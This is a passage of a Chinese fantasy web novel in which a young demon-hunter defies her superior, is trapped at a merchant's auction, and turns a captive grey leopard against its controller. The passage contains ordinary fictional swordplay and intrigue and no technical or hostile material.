他看了一眼灯火,灯火便顺应而灭,房中一下就变得幽暗起来,他再垂眸看了一眼闭上了眼的姜长泠便悄然离开了。
门开关的响动声消失后四下便彻底归于静谧。
而姜长泠被迫站起身往床边走去,然后躺下。
甚至还给自己掖了一下被子...
黑暗中,她终于能睁开眼睛,睁开时,她第一反应便是往门口看去。
可已经完全看不见踪影。
她再往左手的手背抚了抚,发现伤口的确被疗愈了。
这人到底是谁,为何每次她受伤之际都会来帮她疗伤?究竟是什么目的?
这桩桩事件堆起来着实让她后怕起来。
她不免心惊胆战地了一整晚。
于是她清晨醒来时,困得不行。
姜长泠顶着朦胧的困意起身,洗漱了一番便出了门。
赶到转芒堂时已经人山人海。
她寻了个靠后隐蔽的位置站好,等候着督办潘秉坤的上座。
过了一会,白祝锦刚巧挤到了她身旁时人群便安静了下来,纷纷低下头。
潘秉坤上了堂,她便听到了旁边有人嘟囔:“今天督办的脸怎么这么黑,谁惹他了?”
“完了,今日我还要上奏工事,估计得挨骂。”
“放心,督办再怎么说也不会胡乱骂人,你届时不要出差错便好。”
“我尽力罢。”
潘秉坤用惊堂木敲了敲,沉声道:“近日来可有什么事情发生?”
旁边的人忽然上前一步,拱手道:“回督办,下属有一事需上奏,就在露青街,下属发现一只没有罪过的妖烙上束灵烙印被流放在了街头...”
“停。”潘秉坤扣下惊堂沐,目光带着质疑向这人投来,“你的意思是妖都的判罪有误?”
“回督办,下属绝无此意,怎敢质疑妖都权威!”身旁的人噗通一声便跪了下来。
潘秉坤提高了音量:“难道束灵烙印的存在还有人不知道是什么意思吗?”
“这妖若是不害人就不会被妖都所抓,但凡你动动脑子也该知道什么叫一叶障目!”
“下属知错。”
“收起你那怜悯心,不要总做职守之外的蠢事。”
姜长泠听及此处,不禁抬起头看了一眼潘秉坤,巧的是,潘秉坤也正好在看她。
仿佛这句话是在对她说的一般。
她面无表情又将头低了下去。
“好了,还有谁要上奏?”潘秉坤也收回视线,冷漠地扫了一眼堂下捉妖师。
众人心如明镜,都发觉了今天潘秉坤的情绪不对劲,无一人敢发言。
“泱泱捉妖师,一个要说的也没有?”潘秉坤质问道。
就在氛围陷入了一片死寂时,姜长泠掂量了一会便主动站了出来。
一旁的白祝锦错愕地看向她又迅速低下了头。
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>她上前拱手道:“下属有一事想要禀报,就在昨晚,下属遭到了妖孽的袭击,那妖身上分明有着束灵烙印,灵力却依旧强盛,与那晚虎妖一致。”
潘秉坤眯了眯眼,情绪莫名地冷静了下来,问道:“然后呢?”
“下属斗胆猜测,束灵烙印也并非是没有解法,可能从前没有,但现如今应是有人利用罪妖…”
惊堂木的声音再次落下,这次拍下得格外重,堂下人纷纷随之一颤。
姜长泠也赶忙刹住了话头,等着潘秉坤发话。
“荒谬,谁告诉你的束灵烙印有解封之法?简直是天方夜谭。”潘秉坤怒道,“这话传出去,你是想让民间百姓都知道了罪妖即便是刑满释放了也还有危险吗?”
“是,因为确有此事。”姜长泠眉目凌厉地看向潘秉坤。
氛围直坠冰点,在场的人大气不敢喘一声。
“姜长泠,你可知自己在说些什么吗?”潘秉坤阴恻恻道。
姜长泠当然知道自己在说什么,她在挑战妖都的权威,在质疑督办的对错。
可这同时也是在为数名亡魂问责问罪。
虽然她接触妖都的时日不多,但也无数次在督办口中得知在人皆敬之的妖都笼罩之下捉妖师是多么渺小的存在。
反复强调着人外有人,天外有天,妖都的权威自是不容质疑的。
所以身为捉妖师的他们都已然习惯从低处往上看,而那些看不到和看不清的事情也只会交由高处的人去主导。
毕竟位居高处的人自然会比他们看得更加清晰。
可事实上真的是如此么?
她只觉得这潘秉坤在草菅人名,不断用谎言掩盖百姓身处于水火之中的事实。
甚至乎,他就是那个给百姓带来苦难的人。
可她现在还没有能力确定潘秉坤所做的事迹,也只能暂避锋芒慢慢摸索求证。
“回督办,下属的这番话全然是为了妖都的名誉考虑,也是为百姓顾忧,若是真有百姓因此遇袭,妖都在百姓心中的地位岂不是会有所动荡?”姜长泠语重心长道。
“哦?”潘秉坤狐疑地摸了摸下巴,“既然如此...”
“不对,凭什么本督办要凭你一面之词就下令去调查?”潘秉坤突然反应过来,“本督办怎知你说的是真是假?”
这瞬间,姜长泠捕捉到了潘秉坤眼中闪过的一丝慌乱。
她佯装思考,摇摇头道:“人证物证具无。”
潘秉坤顿时坐直了身体一挥袖:“这些虚无缥缈的谬论就不要说了!免谈。”
“如若是下次再谈及此事相关的,只看证据,证据不足不对的,免谈加杖责!”
众人齐答:“下属明白。”
于是姜长泠默默弓身退回人群之中。
转芒堂中恢复寂静,而潘秉坤囫囵瞥了堂下几眼,发现一个二个都变得畏头畏脑的,一句话都没说便起身径直离去了。
那史监薛朝见状喊了一声:“都散了吧散了啊。”
堂下众人才开始挪动起来松着筋骨,也有着不少人向姜长泠投来目光。
有好奇的、疑惑的甚至还有鄙夷的。
貌似所有人只是把她当了一个乐子般看。
19. 被困
不过她并不在意这些目光,毕竟她一人独行也惯了。
“师妹,你是不是发烧了?”邵楚从不远处向她走来,还伸出一只手想抚上她的额头。
姜长泠扭头避开,微笑道:“多谢师兄关心,长泠无碍。”
“那你在朝会上胡说什么呢,昨晚有妖袭击你了?”邵楚问道。
“此事我也并非有十足的证据能证明,师兄若是觉得长泠在胡说那便是吧。”姜长泠随即转身准备离去。
白祝锦虽对此事略感疑惑但他还是选择相信姜长泠。
因为潘炳坤那为人,他也看不惯。
“师兄,你怎么能不相信她呢?”白祝锦反问了邵楚了一句,赶忙屁颠地追上姜长泠。
邵楚滞在原地不禁挠了挠头。
“姜长泠,昨晚你在哪里遇袭了?”白祝锦好奇道。
“在抚柳院中,不过此事已经解决,不必担忧。”姜长泠道。
白祝锦倒是有些困惑,抚柳院乃是女子捉妖师所在的住处,而整个妖都办事三处也不过五名中阶捉妖师,要是在院中打起来岂不是算是自投罗网?
这摆明了是冲着一人而去的。
“你会不会被妖盯上了?有难处吗需不需要我帮忙?”白祝锦着急道。
姜长泠愣了愣,随后又摇摇头:“不用,我自己能解决,不是说要去看拍卖会吗?趁现在还没活赶紧走吧。”
“行,没事就好,走。”
*
拍卖会的地点正位于露青街的附近,一时之间这街上都被百姓们围堵得水泄不通,姜长泠和白祝锦正随着队伍一点点前进。
拍卖会的地点名为万善堂,因其位置于露青街街末,靠近城外,占据了很大一片空地。
外观看去高度约莫有着三层楼高,而外观布置方方正正,有着隆重的双开大铁门,坚固如城门。
不断有人鱼贯而入,而姜长泠想象实在匮乏,想象不到里面究竟有多大。
“听我哥说,里面有五层之多,大得可以容纳下整个城的人呢。”白祝锦有些兴奋道。
这点倒是在姜长泠的意料之外,没想到白祝锦他家也被邀请去过。
不过毕竟白家经商,在青竹城中也算是有名气,跟钱恒亮有点交集也是正常。
队伍逐渐前进,就快轮到他们进场。
门口旁正站着两个包得严实的侍从,本以为他们只是站着维持秩序,可姜长泠正准备往前走时,却被其中一名侍从伸手拦住了去路。
姜长泠忽而停下来,心中预感不妙。
“姜捉妖师是吧,这是钱老板嘱咐我们交给你的东西。”那侍从不知从何处掏出了一张三角符纸递给了姜长泠。
迫于后面还有等着进场的百姓,姜长泠也只能接过了符纸。
身旁的白祝锦见这符纸稀奇,正想开口问姜长泠这是什么东西时,他与她并肩往前走着,可就在经过门槛时,他惊悚发现,活生生的一个人就这么在他眼前消失了!
他不信邪地往后看去,只见一大片的人头攒动正向前走来,姜长泠也不在其中。
他只好逆着人群,回到侍从身边问他:“方才的捉妖师去哪里了?”
“无可奉告。”侍从冰冷道。
“你!你方才给了她一个符纸,人就在转眼间不见了,你们到底有什么阴谋?”白祝锦揪起了侍从的衣领,情绪颇有些激动。
涌进来的人群渐渐变慢了下来,接二连三地往这边看着。
侍从依旧从容地站在原地一动不动,甚至连一个眼神都没有给白祝锦:“这位公子,请你不要扰了其他人的兴致。”
好巧不巧,一张传音符就落在了他面前。
大致意思就是来活了。
他只好皱起眉松开了侍从的衣领,放下狠话:“我会回来找你们的,若是她有个三长两短,你们死定了!”
只可惜这些话侍从根本不放在眼里。
白祝锦只能十万火急地先跑去支援。
*
姜长泠本还低头看着手中的符纸,刚将符纸拆开展开,便发现眼前一黑,周边也瞬间安静下来,她再抬头看,便发觉自己进了一片周边只剩下无穷尽的黑暗的地方。
她冷静抽出符纸燃起火光,发现只能照亮这一隅地方,其他地方依旧漆黑一片。
没想到这钱恒亮的阴谋竟然暴露得如此之快。
她再仔细地端详了下门口那侍从递给她的符纸,发现那符纸上沾染着某种邪息,与这困在她的地方气息相似。
大抵是这困住她的法器就在门口的某处地方放着,而她因为沾染了这幻境之中的邪息,所以她才会与别人不同,进了这幻境之中。
“姜长泠,你没事吧,你被带到哪里去了?”白祝锦的声音随着一张传音符传来。
姜长泠思索了下,抽出传音符:“暂时没事,但被钱恒亮困在了个陌生的幻境之中,我也不知我身处何处...”
“我没出去的话也不要紧,你切勿招惹钱恒亮,此人利用罪妖做事十分险恶。”
说完,她捏着符纸愣了愣。
她说这么多,也只会引起白祝锦瞎担心,搞不好白祝锦还会因为她的话变得危险。
还是算了吧。
她手中灵力退却后,再次注入灵力:“我暂时没事,不用担心,我很快便能出去了。”
满意后她松开了传音符。
四周一片昏暗,她摸索着往周边走去,不知走了多久依旧没碰到一点墙壁。
这里既不是由心魔化成的幻境,也非是困有恶兽的牢笼,只有着无边黑暗。
此境怎破,她还尚无头绪。
正当她叹息之际,黑暗中倏然间出现一道火光。
“姜长泠是吧?”一个蒙着面的男子拿着火把向她走来。
“你是何人?长孙仲晏?”姜长泠不确定问道。
“是。”长孙仲晏忽然没了昨晚那股狠厉嚣张的劲,语气变得淡然开来,“昨晚误伤你了,抱歉了。”
姜长泠没想到长孙仲晏转变得如此快,只道:“没事,已经痊愈了。”
“你不记仇就好。”长孙仲晏干笑了一声,“你可知有种东西叫玄灵金丝么,这就是我装作要与你反目的原因。”
玄灵金丝,她在书上当然有所见闻,只不过这宝物甚
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是珍贵,她以为她不会轻易见到。
没想到这钱恒亮是靠着玄灵金丝控制着他手下的罪妖。
这金丝乃是古时驯凶兽所用,只要留凶兽一口气,将金丝一端绣进这凶兽的皮里,而另一端缠绕在自己的指间,即可掌控凶兽的生死,化为己用。
她恍然大悟,原来这些妖仆是因为被烙下了束灵烙印灵力尽失所以才会被绣上金丝沦为了钱恒亮的手中刀。
“那你呢,莫非是自愿被绣上金丝的?”
长孙仲晏眼神黯淡下来,没有点头也没有摇头。
姜长泠见他不说话又问道:“你现在擅自闯入了这幻境之中与我对话不会引起钱恒亮的察觉么?”
她记得这金丝的主控方除了能断生死,还能通过金丝感知另一端的情感意识。
“不会,他手上缠了太多金丝,现在他在外面操持拍卖会暂且无暇顾及与我,但昨晚不同,他只留意我了。”长孙仲晏解释完抬眸看向她,“问完了到我问你了。”
姜长泠点头:“请问。”
“你是怎么知道我父亲被钱恒亮所杀?”长孙仲晏问道。
姜长泠思忖一会,想了想该怎么开口:“我说我能看见鬼,看见了你父亲的魂魄你信吗?”
长孙仲晏眼中闪过一丝疑惑,不可思议道:“你...”
“我的名字是他告诉你的?昨晚那会...他也在那?”
“嗯,长孙叔还与我说你年少时叛逆闹着要离家出走,瞧不起他的铸剑手艺...”姜长泠一一说出时却被长孙仲晏及时喊了停。
姜长泠发觉眼前的人似乎浑身在发抖。
“你...没事吧?”
“我没事。”长孙仲晏无声无息地蓄起了眼泪,不禁用手背随意地抹了一把,“所以他与你说了些什么,让你来杀了钱恒亮吗?”
姜长泠迟疑了会:“说杀太过激进,倒不如说是阻止钱恒亮所做的污秽之事,为无数被害的百姓鸣冤。”
“他这个人就是这样,即便死了以后还是要当烂好人。”长孙仲晏皱眉道。
刹那间,长孙仲晏的心脏刺痛了起来,背后的金线绣迹正隐隐发烫作痛。
他明白这是钱恒亮察觉到了他的情绪有所变化。
正在对他控制。
姜长泠见长孙仲晏忽然弓起了身子,大概也猜到了什么:“你进来是要做什么,杀了我么?”
“不...”长孙仲晏咬着牙蹦出一句话,目光已经转变得狠厉,随即抽出了一把匕首向她划去,却被姜长泠闪身躲开了。
接着待他喘过气来,一把扔掉了火把向姜长泠冲去。
周遭瞬间变得黑暗起来,只剩下姜长泠手中的一纸火光照亮。
“钱恒亮的目的是让我来消耗你的灵力。”长孙仲晏一边与姜长泠交手一边道。
而姜长泠并不习惯于黑暗之中交手,且火光在她手上只能让长孙仲晏看清她的动作,她却看不清他的动作,这点对于她来说着实不利。
于是尖锐的疼痛不断地在她手臂上划过,她无可奈何地又挨下几刀。
“消耗我灵力的目的是什么?”姜长泠又问。
20. 灰豹
萧烬手臂上传来隐隐阵痛,大概就猜到某人又惹事了。
幸好他有先见之明提前进了这万善堂。
这万善堂足足有五层之高,其中三层建在地面之上,两层则是挖掘到了地下。
此时他正在站在第三层的围栏处,一眼望去,整座楼的结构清晰可见。
但地方之大,他一时也难以推断姜长泠会被困在哪里。
不过他有有种预感,姜长泠还没那么容易死。
“公子,周遭的驱鬼法阵已经破坏掉了。”符月炳走到他身旁一拱手。
底下的拍卖会已然开始,钱恒亮的声音施展了法术施其响彻了整个万善堂。
萧烬无心去看,收回了目光后从人群之中退了出来。
“她的位置呢?”萧烬问道。
“属下暂未找到,不过依属下所见,姜捉妖师既然进门后收到了一张符纸后消失,很可能是中了陷阱,被困在了某处地方,至于是否在这万善堂内...就难说了。”符月炳摇摇头。
因那万善堂的驱鬼法阵被破,数名围在外面的鬼魂一涌而入,整个万善堂瞬间变得更加热闹。
长孙归璟率先在人群中找到萧烬向他飘来:“长泠她人呢?”
“被抓走了,我也不知道在哪。”萧烬闷声道。
“什么!?该死的钱恒亮又耍什么阴招!在哪里被抓走的?”长孙归璟着急道。
“门口,一进门就不见了。”萧烬道,“你且等传召吧。”
长孙归璟疑惑道:“你确定她没有被捆绑住手脚?”
萧烬感知着身上不断划过刀伤,面上逐渐显出不愉:“没有。”
被捆住手脚估计就不会是被刀划伤那么简单了。
“慢着,你怎么受伤了?”长孙归璟突然注意到了他身上不断有淡红色的血迹层层渗透出来。
好巧不巧,萧烬今日穿得还是银色的衣裳,根本覆盖不住血迹。
“...那不重要,先找到姜长泠再说。”萧烬道。
人群中忽然发出一阵惊叹,原来是在拍卖场上有两只美艳的小妖端着那件被拍卖的宝物飞了上来正在给处于高层之上的人观摩。
这下倒是都给老百姓开了眼界了。
真正参与拍卖叫价的富客都云集在第一层,而一层往上的都是些围观的老百姓。
长孙归璟被吸引而去了视线,解释道:“钱恒亮曾举办的拍卖会并不会让普通的老百姓入场,如今长泠被抓,大抵与这些老百姓入场有关。”
“难不成是想将她羞/虐示众,好让她身败名裂无力与他作对?”符月炳忽然冒出了这么个想法。
“钱恒亮当真禽兽不如啊!”长孙归璟咬牙切齿,不免攥紧了拳头,“萧公子,你这次可绝对不能袖手旁观了!”
萧烬冷着脸:“聒噪。”
*
底下的钱恒亮除了在开场说了几句话便退隐在了一层之中,剩下的拍卖都是他手下的妖仆所主持的。
这会刚拍走一样宝物,钱恒亮便坐在来拍卖的客人之中对那妖仆抛去一个眼神示意了什么。
随即那妖仆便点点头,喜笑颜开道:“想必各位客官看了这么多件宝物或许也有些疲惫了吧。”
“接下来万善堂推出的这一件宝物有些新鲜,也有些特别。”
“噢?怎么个特别法?”这倒是勾起人群中一客人的兴趣。
妖仆朝那客人看了一眼又笑道:“想必大家都听说了此次拍卖是有活物所在,诶,此活物非彼活物,这里意指鲜活的灵丹。”
众人哗然。
听到惊讶的声音,妖仆带着面具也难掩眼底笑意:“今天我们特意请来了一名捉妖师来替我们生剖蓬莱灰豹灵丹,也顺带让各位客官看看这蓬莱灰豹的凶悍。”
“这灰豹在蓬莱仙岛汲取日月精华,其灵丹已然聚有千余年的修为,可谓是难得一见的补品,听闻灵丹的模样也是与其他普通妖兽有所不同。”
“若能得蓬莱灰豹灵丹,修道者灵力大增,凡者强身健体祛除病邪,劲保长生,这乃是世间上千载难逢的补品。”
“所以——起拍价为黄金一百两。”
人声瞬间沸腾高涨起来,不少在高层的百姓纷纷诉苦。
“这黄金要是分给我一两,估计我这辈子都能衣食无忧!”
“富贵人家终归是富贵,这黄金说给就给!”
而就连坐在一层的贵客都坐直了身想仔细看看这蓬莱灰豹的灵丹到底有多珍贵。
接着处在一层巡守的妖仆上前用灵力将拍卖的场地围出一层屏障,接着长孙仲晏拿出了两个镜子丢至拍卖场地的上空,略施下了灵力。
*
姜长泠浑身阵痛,两条手臂上都布满了血痕,幸好这些伤口都不算太深。
她坐在地上撕扯下衣摆的布料,顶着黑暗大致摸了摸血流最多的伤口,将布料缠上,应该勉强能止住血。
幸好,长孙仲晏不过是消耗了她的体力并未下死手。
而且临走前,他又跟她道了一次歉。
这么看来,长孙仲晏确有苦衷,不算完全坏,莫非他潜伏在钱恒亮身边多年是为了找机会替父报仇么?
思索间,黑暗的四周突然出现一道光门,而那光门中隐隐约约传来嘈杂声。
她没想太多,站起身来径直往那光门走去。
刚踏出光门,姜长泠便感觉悬空感布遍全身,像是坠下了山崖一般。
不过一会,身体与地面强烈碰撞,她摔在了地面,周遭恢复了一片光明,当她吃痛坐起来时,她抬头便看见一个巨大的回字型楼层,而楼层之外布满着大大小小的夜明珠,发出的光正刺眼,楼层围栏之内则是密密麻麻的人头。
所有人正看着她。
视线再放平到眼前,一只身形庞大的银色的妖豹正离她不远,看那妖瞳和举止便能发现,这妖兽有灵智且修为不低。
而她周围有着一层屏障,与在旁边坐着的客官隔绝了开来,钱恒亮刚好就在其中正笑着看她。
“这位便是万善堂特意聘请的妖都办事处的捉妖师——姜长泠。”
妖仆的声音一出,掌声轰动。
姜长泠站起身来看向旁边的妖仆,冷声道:“就算让我来,也得让我知道我要做什么吧。”
“姜捉妖师,请您
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生剖蓬莱灰豹的灵丹。”
姜长泠眉头一凛,钱恒亮这是要让她在众目睽睽之下被这灰豹撕成肉碎?
她在书上见过此兽,但是书上明明说此等灰豹在蓬莱仙岛中可遇不可求,况且,蓬莱仙岛这个地方还未必真的存在于凡间,这灰豹就这么轻易地被钱恒亮抓到了?
这钱恒亮真算是带她开了眼界了。
这时,数条鬼魂忽得向她飘来,为首的长孙归璟很是慌张:“长泠,你怎么浑身血痕,谁干的,这灰豹你要怎么应对,要不还是叔来?”
她看着漫天鬼魂不禁有所疑惑但很快便抛之脑后,安抚道:“不用担心长孙叔,我自有方法。”
长孙归璟撞上屏障,猛然发现这层屏障也将他们隔绝了开来。
“请开始吧,姜捉妖师。”
“我会没事的。”姜长泠面上对着长孙归璟一笑,实则心脏就快要跳出胸腔。
而场上无人在意姜长泠对着虚空对话,知道阴谋的人都以为她在给自己留遗言,不知道的以为她在自言自语。
来不及再交代几句话了,这场无声斗争火烧燃眉。
这灰豹足足有十二尺之高,且手臂肩胛骨肌肉厚实发达,每放下一步的爪子都沉稳如山。
眼神也不太善良,有种随时会将她撕碎的狂野感。
方才她在幻境中画好了传送阵需用的符咒,可在幻境中根本用不了,如今倒是派上用场了。
她拿出四张符咒,注入灵力后甩出了丢掷地面,接着四张符咒上便共有着一条灵力牵连了起来。
只要眼前这灰豹不主动向她扑来,她就有机会组阵逃出去。
但天不遂人意,那灰豹似是受到了什么指令向她猛冲而来。
她只好连连向后躲去,不断想找机会越过灰豹逃到她布下的阵法之上,但这灰豹像是知道了她的意图有意阻拦她。
甚至它还没动上真格。
姜长泠约莫也猜到,这灰豹身上有着钱恒亮绣着的玄灵金丝,定是在钱恒亮的掌控指使下对她这么做。
而且要是这灰豹玩腻了她必死无疑。
但这灰豹的速度太快,她根本没有一个合适的时机向阵法冲去。
于是她只能剑走偏锋,硬着头皮向阵法莽去。
刹那间,她瞧见灰豹锋利的尖爪向她挥来,无奈,她闭上眼已经用双手护住头部做了挨下这一爪的准备。
一阵掌风袭来,只是吹拂起了她的头发和衣裳。
想象中的疼痛并没有发生在她身上。
于是她斗胆睁开眼睛,发现那灰豹的爪子悬在她正前空,但迟迟未动一下。
趁此间,她立马越过灰豹向法阵跑去,可那传送阵的灵力逐渐弱了下来,能传送的地方变得有限。
来不及多想,她立马跳进了那法阵之中。
就这样,她消失在了众人的视野之中,全场疑惑声不绝于耳。
法阵将她传送到了万善堂三层上,恰好在一小片空地之上。
她刚站稳脚步,却看见了几个熟悉的人和鬼正看着她。
萧公子,那天降服猪妖时出手相助的道友,还有长孙叔...
21. 后援
所有人纷纷转身向她投来目光。
她一身狼狈,暂且愣了愣,不过刚踏出法阵,就见萧烬朝她走来。
“你就这么回来了?”萧烬问她。
姜长泠脑中空白一片,竟是理解不了这番话是什么意思。
甚至…她还没消化过来她会在万善堂会碰见他这回事。
“回去,把那灰豹的灵丹剖出来给他看看。”萧烬声音淡淡,就像是在陈述一个轻而易举的事情。
“我做不到的。”姜长泠一口回绝,脚步却不自主地往法阵上挪动。
往后一步,姜长泠便明显感觉自身又要被法阵吸回去。
“你做得到。”
这是她掉进法阵听到萧烬说的最后一句话。
为什么?
她好不容易从灰豹中死里逃生自己又跟中了邪似的往回钻?
掌声雷动,姜长泠又回到万众瞩目的地方。
钱恒亮原本神色慌张地客人解释着什么,可循着众人视线望去,他顿时喜笑颜开:“噢...方才姜捉妖师只不过闹了个小乌龙,精彩继续,精彩继续。”
在场的人再次屏息看向姜长泠。
姜长泠此刻也很无助,可面对于向她长着血盆大口的灰豹,她也不得不硬着头皮迎战。
哪怕胜算全无,她也不想死得太难看。
她卯足了力气与灰豹周旋,这次她显然感觉到灰豹的速度慢下了很多,看她时的眼神竟然有一丝怯意。
随着一张一张的符咒打出在灵力波动着的屏障之上,这一隅地方逐渐被她围成千钧阵,这是她从未想到过的顺利。
她凌驾于上空,双手合拢收紧,掀起巨悍威压将灰豹紧紧压在了地面。
而无数的莹蓝色灵流从地上破出略过灰豹的身躯将他束缚起来。
她的灵力对于一只千余年修为的灰豹来说明明微不足道,可现在她却如压制一只小妖般压制住了灰豹...
灰豹在她的法阵压制下正隐隐抽动着身躯,发出呜咽的叫声。
单凭她的能力,绝无可能做到这个份上,她能想到的,便是萧公子在暗中帮她。
他究竟有多大的能耐,又为什么要帮自己?
周边的贵客都激动着叫好,只有钱恒亮独自眼神阴郁着撇下了嘴角。
这灰豹的来头,能被一个中阶捉妖师驯服?
于是他拼命地驱动着手上的金丝。
而灰豹只是发出了痛苦的嚎叫,法阵丝毫没有被挣破的迹象。
他不禁暗暗咬紧了牙关。
姜长泠掏出了长孙仲晏走之前送她的匕首,思索着该如何下刀。
毕竟不同妖兽的灵丹的位置亦有不同。
正当她沉沦思考时,一声兽吼将她的思绪拉回了正轨。
不对,她为什么要杀这灰豹?
蓬莱本就与民间井水不犯河水,而这蓬莱灰豹只是让钱恒亮被捕了才会被迫带来民间。
如今沦为做杀人的工具,还要被活剖灵丹贩卖未免也太过残忍了。
她虽是捉妖师,但也非不分青红皂白的捉妖。
于是她皱着眉丢掉了匕首,极速绘出了一张隔音符贴在屏障之内。
坐在钱恒亮旁边的贵客不禁问道:“钱老板,这姜捉妖师现在又是在做什么?”
钱恒亮现在笑不出来,只得是向身边的妖仆示意了一个眼神。
妖仆殷勤地弓身解释道:“这应该是在安抚这灰豹的情绪,如果灰豹的情绪太过激烈便会影响到灵丹的完整。”
“哦,原来如此。”贵客点点头。
*
在万善堂三层站着往下看的萧烬倒是不解了起来,他明明已经让这灰豹弱得不行,为什么姜长泠还迟迟不动手,甚至还跟着这灰豹聊了起来?
他修长的手在围栏上一搭一搭地点着,总算开口问起了符月炳:“你说,她到底想干嘛?”
符月炳看出了姜长泠往那屏障上贴的符是为隔音符,大意应该是不想被别人听到他们之间的谈话内容。
“或许,她还不知是公子在暗中帮她,她想与那灰豹结成联盟从而逃出去?”
“她是想化简为繁?”萧烬更疑惑了。
长孙归璟则是没有说话,这会他心情不由跌宕起伏,起是因为姜长泠被救,伏是因为他看见了那不孝子还站在钱恒亮旁边为他做事。
“要你说话时你怎么就不说了?”萧烬朝他看来。
“不想说了,犬子不争气。”这下轮到长孙归璟冷淡下来。
*
屏障内。
“你身上现在是不是有着玄灵金丝?”姜长泠越过灵流站在灰豹的面前。
灰豹现在被折磨地苦不堪言,意识混沌中却还是回答了她:“是。”
“我松开你,你把屏障破开,剩下交给我处理,如何?”姜长泠问道。
“想...想得美。”灰豹道。
姜长泠冷静道:“我知道你有金丝在身必然不可能与钱恒亮正面抗衡,如若我们做戏呢,我的每一次躲闪换来你一次对屏障的撞击。”
灰豹肢体还在挣扎着,却沉默不说话了。
“难道你不想回到蓬莱?”
灰豹中体内有着来自玄灵金丝的威胁折磨,还有着另一股神秘力量压制,只好道:“...你失败后...别怪我...手下不留情。”
姜长泠笑了一下:“好。”
既然姜长泠原本的计划被打破回到了这里,那么就意味着她还有另一条更为大胆的路可以走。
她再站在这里,便意味着她成为了个赌徒,而背后似乎有人正为她准备了筹码。
何尝不一试?
这么想着,她果断去揭掉了布下千钧阵的符咒,灵流和威压瞬间被撤去。
灰豹在地上扑腾了几下终于站起身来抖了抖全身。
钱恒亮见状也不驱动金丝了,眼神变得狠厉起来,仿佛想任其将姜长泠撕碎。
不过这让周围的贵客看得是一愣一愣的,全然一头雾水,纷纷叫囊:“这又是怎么回事,刚才捆得好好的现在怎么又松开了?”
“各位客官莫要着急,好戏都在后头呢。”妖仆捏了一把冷汗解释道。
灰豹感觉身体好些了,却还是有一股莫名的灵力克制着它,使它各方面都变得迟钝起来。
它压低了眼眸,尽显出自己凶残的一面向姜长泠冲去。
一
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下,扑空,狠狠撞到了屏障之上,第二下,依旧扑空,还狠狠给了屏障一爪,整个万善堂都为之一震。
萧烬站在高处看,将他们的意图尽收眼底。
好几次都撞的都是钱恒亮那面的屏障,这不是阳谋是什么?
看来今天万善堂会发生一场大事。
他不由地勾起唇角,不动声色地将那压制灰豹的灵力解开。
果不其然,就在他解开的刹那,屏障一下就被灰豹撞破开来,随着碎裂的爆响,位于楼层低的百姓纷纷逃窜到了高的楼层去,有胆小的已经跑了,胆大的还停留在原地看着。
姜长泠随着屏障消失的瞬间冲出,直面钱恒亮。
不过钱恒亮并没有她想象中的慌张,只是从容地坐在椅子上瞪着她,而其他贵客都被身边的侍从护着狼狈离开。
还未等到她近身,数个妖仆便从四面八方而来,更有甚者从二三层跃下。
这些妖仆全都有模有样的拿着武器向她袭来。
她心想有武器更好了,毕竟她还有这一个支援剑圣前辈。
一道黑息蓦然钻进她手腕,她的身手立马迅捷起来,只用着匕首便将一灵力低微的妖仆抹脖致死,夺过了他手中的剑,大肆杀了起来。
而那灰豹已经被钱恒亮手中的金丝控制地躺在地上默默抽搐不得动弹。
一时整个万善堂凌乱不堪,剩下的百姓一见到血更待不下去了,顿时挤着大门全都涌了出去,只剩下萧烬和符月炳还站在三层,还有着一群鬼魂漂浮在空中看着。
“要帮吗?”符月炳正俯瞰着底下。
“暂时不用,我倒是想看看她能大胆到什么程度。”萧烬饶有兴趣道。
*
混乱之中,钱恒亮见姜长泠在众妖仆中不断挥舞着剑,带着浓厚的恨意,颇有种势不可挡的模样。
他终于感受到一丝危机感。
他带来万善堂的妖仆不算多,也不知能不能拦住这般势头的姜长泠,可惜了那灰豹用不了,一旦放开对它的束缚,估计整个万善堂都要被踏平,他才不会赌。
思及此处,他终是捏了捏扳指站起身来准备离开。
“老板,这就要离开了吗?”
长孙仲晏作为钱恒亮的侍卫,一直贴身守在他身边。
钱恒亮瞥了他一眼,哼笑道:“单祥,如今这个局势,你应该离我远点。”
倏然间,长孙仲晏不禁死死地抓住胸口跪在地上,心脏骤然紧缩的疼痛漾开,痛得冒出了一身冷汗:“钱老板明鉴,我绝无二心。”
“有还是没有,你自己心里清楚。”钱恒亮将手背过身去慢悠悠地从他身旁走过。
这玄灵金丝能感知情绪,他一直不了解这小子为什么随时随地都有着猛烈的恨意,总是把他冲撞得心慌慌的。
虽然他提拔了长孙仲晏作为得力的左膀右臂,但他始终是没有卸下过对这小子的防备。
为了避免意外,他还是选择先与他保持着距离。
而恰好这一幕被萧烬尽收眼底,他打趣问道:“那人就是一直派妖杀姜长泠的人?”
“正是。”
萧烬扬起嘴角:“我倒想看看他怎么走出万善堂。”
22. 解脱
钱恒亮闲庭信步,只不过走了几步路,便发现自己浑身动弹不得。
他自己也不知道是怎么了。
长孙仲晏跪在他身后,抬头看向他的背影问他:“钱...老板,怎么...还不走?”
再不走他就要被痛死了。
钱恒亮极力压制住自己内心的惊诧,目光转向战场道:“我突然不想走了,不可以吗?”
长孙仲晏疼得直冒冷汗却一句话都不敢说,只能也寄希望于战场上的妖仆们打得快一点。
可过了会,他便发现自己身上的痛觉似乎有着减弱之势,不再是那种紧紧攥住包围的窒息感,而是留有了一点喘息余地。
这样的疼痛还不至于让他直不起身来,于是一个计谋便在他心里逐渐浮升。
他颤抖着从衣襟处掏出一把全新的匕首。
“多谢钱老板不杀之恩。”他道。
听到这话,钱恒亮迟疑了一会想转身看长孙仲晏,却发现自己的身体十分僵硬,脚都挪不了一步,他只好尽力侧身道:“放心,只要你乖乖的,我便不会杀了你。”
长孙仲晏不解,明明这场斗争,他们现在并不占据优势,但钱恒亮却一直不走,还背对着他。
他心中恨意滋长,心想着或许这是他唯一能把控好的机会。
不知从何处增长的力气助他从地上爬了起来。
“钱老板,我一直想问你一个问题,为何给我起名为单祥呢?”长孙仲晏语气虚浮,却努力拖着身子向钱恒亮走去。
“你怎么突然问起这个?”钱恒亮皱了下眉头,预感不妙。
“你不是一直很好奇,我有一个杀父仇人是谁么?”长孙仲晏扯下面罩,惨白的脸庞曝露无疑。
有时候,也该潇洒那么一回。
钱恒亮听着他的声音越来越近,心脏已经要跳到了嗓子眼上。
如今,他连驱动金丝的能力都被莫名冻结住了。
“那...那是谁?”钱恒亮不免慌张起来。
“钱恒亮。”长孙仲晏冷漠的声音近在他后背,“你曾经杀了一名世间上剑术最厉害的人。”
反射出寒光的刀锋当即悬在了钱恒亮的脖颈间。
